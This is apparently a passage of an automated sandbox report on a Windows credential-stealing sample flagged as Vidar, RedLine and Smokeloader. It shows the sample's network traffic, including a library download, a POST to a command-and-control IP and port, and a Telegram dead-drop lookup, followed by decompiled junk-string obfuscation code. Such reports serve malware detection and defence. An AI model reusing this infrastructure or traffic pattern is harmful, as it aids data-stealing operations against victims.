Aug 31, 2023 16:50:49.422274113 CEST	169	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Aug 2023 14:50:49 GMT Content-Type: application/zip Content-Length: 2685679 Last-Modified: Mon, 12 Sep 2022 13:14:59 GMT Connection: keep-alive ETag: "631f30d3-28faef" Accept-Ranges: bytes Data Raw: 50 4b 03 04 14 00 00 00 08 00 24 56 25 55 2b 6d 5c 08 39 7c 05 00 50 75 0a 00 0b 00 00 00 66 72 65 65 62 6c 33 2e 64 6c 6c ec bd 0f 5c 54 e7 95 37 3e 97 19 61 d0 89 77 28 34 21 29 55 48 68 ab ad 4d e7 3a a6 91 48 13 8c 0c 90 c4 31 18 1c 35 bb 4e 62 ba d6 f5 75 f3 26 46 99 c4 76 33 2d 64 20 ce e3 75 5a 92 d5 d6 6e b5 75 df b2 5d f7 7d e9 bb b4 ab c4 b4 da cc 80 85 11 29 0c 4a 61 50 aa 24 a1 66 28 6c 3b 40 2a ff 52 e6 77 ce 79 ee 9d 19 40 52 b3 bf ee 2f ed ef b3 f9 44 e6 fe 7d 9e f3 9c e7 fc f9 9e f3 fc b9 d6 bf da ab 11 34 1a 8d 4e 33 fd bf 3c cd 1f ff 6f 2f fc 5b b8 f8 27 0b 35 27 92 7f 91 75 4a 58 fb 8b ac 0d 3b fe c7 9e cc 5d bb 9f fd db dd 4f fd cf cc bf 79 ea 99 67 9e 2d cd fc e2 97 32 77 3b 9e c9 fc 1f cf 64 e6 3f 5a 92 f9 3f 9f dd f6 a5 bb b3 35 9a 62 8b 46 b3 56 48 d4 8c ac f8 c8 df a8 e5 f5 6a ee cc 5a 20 2c 84 42 f5 1a cd 8a 04 ba b6 eb 23 70 6c 8c 56 69 a4 63 b8 95 48 54 c7 7e 35 81 f9 d4 88 f3 7f 98 0f b7 f3 56 d3 4b 46 fe 0a ff e5 3f 45 19 f3 35 25 f0 fb 1d f8 f5 e3 c5 aa f9 9a bd da b8 46 15 cc d7 14 7f 0e 7e 8f cd d7 84 ef d2 68 0e de 3a 5f 93 a1 99 fb 3f 7d a6 5e 73 2c ee bc 7a d1 7c 4d 9e 30 f7 f3 77 97 7e 69 6f 29 fc 1e 32 28 ed 5a a8 9f c5 fc 4c 8d 66 eb dd bb b7 3d 55 fa 94 46 73 36 11 1a 0b 75 68 f4 f0 8b bc 98 de 47 79 77 f3 c7 34 b9 05 f0 c7 34 9f 78 a3 b9 63 fe cc e7 bc 77 9b 4c 7f b3 fd 6f 95 aa ca 94 e7 32 66 3d 97 77 f7 ee 3d bb b1 43 88 27 55 9c a7 9a 45 37 7a ee 4b 4f 3f fb 37 1a e2 11 f2 4a 03 7d aa b9 73 d6 73 0f 6a fe fb bf 3f eb ff 6c ec d7 3b 1e 05 79 0d 0d 2f d0 6b 5c 67 75 95 de d2 85 ac 6c 25 5c 71 79 45 57 6f d8 de b0 23 b5 37 12 09 35 f1 db 92 d7 de d0 12 ff 1f bc bf 69 a3 6c d1 c3 7b 8b 64 47 86 ec 4c 93 6d 46 d9 6a a8 8c 94 de 39 2c 1a 93 86 c5 94 32 13 94 36 b0 64 c7 3c 2c e7 6b bc 9c 53 11 f8 6f e0 93 4d 65 2b e0 de 0f e0 bf a6 32 93 72 b4 d3 b8 71 a7 66 a7 e6 b1 f5 c5 a1 07 be 99 08 0f 67 3c f1 a4 bd 21 ae be 92 4d 1b 39 c9 0f 44 49 36 b1 26 85 e8 26 51 ba ee 7a 27 5c fa 77 b2 85 28 b1 1b 64 ab be f2 72 e9 62 20 46 0b c4 ec 23 62 3e c1 1b 35 3c 9f 37 ea fa 40 6e d3 be 28 25 fb 62 94 3c 86 94 14 af df 14 3a 79 88 28 81 aa 8c 91 d7 b0 a2 50 35 7f 77 20 81 4d b1 f0 13 4f fe b5 bd 21 8e 1f 0e 7d e5 f5 d2 4c d9 69 d8 a9 d9 18 7a fd 1f f1 5d 3d 70 64 61 a4 8e de dd c1 df c5 76 f1 f6 b8 fa c6 5c 83 c5 6c 6d f6 32 d9 9a fe 4f 27 4c f3 8d 52 88 e5 67 17 35 e5 67 af 40 23 e1 1a 37 ee be 9d f9 5d bd 49 8e 8f 78 be ac 5f e5 34 3e 9f b6 43 0b 4d e8 ff 31 e8 f1 0e 1d 1e 1d 87 23 d7 8b d9 cb 34 62 c5 61 3c 74 ea e1 e8 eb 70 24 3b d2 2a af 8b 15 2e 38 64 17 d9 98 ab 77 ac 38 d4 9a ac b0 4e ac d8 8b d7 5f cc ce 54 18 94 9f bd 92 d5 bb ea f5 50 7d b6 ec 4c df e4 fb 9d 76 e3 63 a1 27 80 62 79 6d b6 c9 75 d6 30 7a 15 9e 36 49 5e a0 8d 0c 23 fc a6 2b bf 69 ca af 51 f9 35 28 bf 7a e5 97 8c 8f 74 79 60 f1 f6 bb c5 c5 15 24 7f 72 7e f6 12 97 57 28 6b 88 b8 c6 12 d9 90 58 a1 45 72 e0 62 59 83 f0 06 da d1 81 a7 e0 4c b7 3d ee f9 0c 53 7e f6 4a f8 4d 87 df 1c f8 4d 83 df fb e0 d7 08 bf ab e0 d7 00 bf b9 f0 ab 87 df 2f c0 af 0e 7e ef 37 6d c9 7e 00 8e 4d c2 18 d4 e6 6a 82 0a 05 d7 98 20 56 2c 83 3a a0 e5 ba 71 6a 7a de 4e a3 07 5e 2e 86 9f 0d d9 79 8f 15 Data Ascii: PK$V%U+m\9\|Pufreebl3.dll\T7>aw(4!)UHhM:H15Nbu&Fv3-d uZnu]})JaP$f(l;@Rwy@R/D}4N3<o/['5'uJX;]Oyg-2w;d?Z?5bFVHjZ ,B#plVicHT~5VKF?E5%F~h:_?}^s,z\|M0w~io)2(ZLf=UFs6uhGyw44xcwLo2f=w=C'UE7zKO?7J}ssj?l;y/k\gul%\qyEWo#75il{dGLmFj9,26d<,kSoMe+2rqfg<!M9DI6&&Qz'\w(drb F#b>5<7@n(%b<:y(P5w MO!}Liz]=pdav\lm2O'LRg5g@#7]Ix_4>CM1#4ba<tp$;.8dw8N_TP}Lvc'bymu0z6I^#+iQ5(zty`$r~W(kXErbYL=S~JMM/~7m~Mj V,:qjzN^.y
Aug 31, 2023 16:50:58.424901009 CEST	3017	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----4389493767942367 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13 Host: 195.201.254.123:6012 Content-Length: 126637 Connection: Keep-Alive Cache-Control: no-cache
Aug 31, 2023 16:50:59.195343971 CEST	3145	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Aug 2023 14:50:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49773	149.154.167.99	443	C:\Users\user\Desktop\file.exe

Timestamp	Direction	Data
2023-08-31 14:50:48 UTC	OUT	GET /vogogor HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; x64 rv:107.0) Gecko / 20100101 Firefox / 107.0 Host: t.me
2023-08-31 14:50:48 UTC	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 31 Aug 2023 14:50:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12340 Connection: close Set-Cookie: stel_ssid=470959c2b75970613e_5502152339091633985; expires=Fri, 01 Sep 2023 14:50:48 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2023-08-31 14:50:48 UTC	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 76 6f 67 6f 67 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @vogogor</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: file.exePID: 7912, Parent PID: 4884

General

Target ID:	1
Start time:	16:50:20
Start date:	31/08/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	467'456 bytes
MD5 hash:	BF81661814944B92DA689F1C461EF908
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000001.00000002.3698889782.0000000004100000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.3696575131.000000000252E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000001.00000002.3698810477.0000000004090000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000001.00000003.1481373645.0000000004160000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 7912, Parent PID: 4884COMMON

Execution Graph

Execution Coverage:	23.5%
Dynamic/Decrypted Code Coverage:	57.3%
Signature Coverage:	5.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 004107F0 Relevance: 2701.2, APIs: 970, Strings: 572, Instructions: 2671
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004107F0(void* __ecx, void* __edx, void* __eflags, void* __fp0) {
				char _v5;
				void* __ebx;
				void* __edi;
				void* __esi;
				WCHAR* _t3;
				void* _t987;
				WCHAR* _t992;
				void* _t994;

				_t994 = __eflags;
				_t987 = __edx;
				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, 0x2710); // executed
				_t989 = lstrcatW;
				_t992 = _t3;
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				_t983 = lstrlenW;
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				E004012C0( &_v5);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				E00424B20();
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha"); // executed
				E00401070(); // executed
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha"); // executed
				E00401000(lstrlenW, lstrcatW, _t992); // executed
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha");
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrlenW(_t992);
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
				lstrcatW(_t992, L"politician");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"former");
				lstrcatW(_t992, L"member");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"10th");
				lstrcatW(_t992, L"Lok");
				lstrcatW(_t992, L"Sabha");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"lower");
				lstrcatW(_t992, L"house");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"Parliament");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"India");
				lstrcatW(_t992, L"and");
				lstrcatW(_t992, L"also");
				lstrcatW(_t992, L"the");
				lstrcatW(_t992, L"granddaughter");
				lstrcatW(_t992, L"of");
				lstrcatW(_t992, L"Freedom");
				lstrcatW(_t992, L"Fighter");
				lstrcatW(_t992, L"Rameshwar");
				lstrcatW(_t992, L"Prasad");
				lstrcatW(_t992, L"Sinha"); // executed
				E00401000(lstrlenW, lstrcatW, _t992); // executed
				lstrcatW(_t992, L"Lovely");
				lstrcatW(_t992, L"Anand");
				lstrcatW(_t992, L"is");
				lstrcatW(_t992, L"an");
				lstrcatW(_t992, L"Indian");
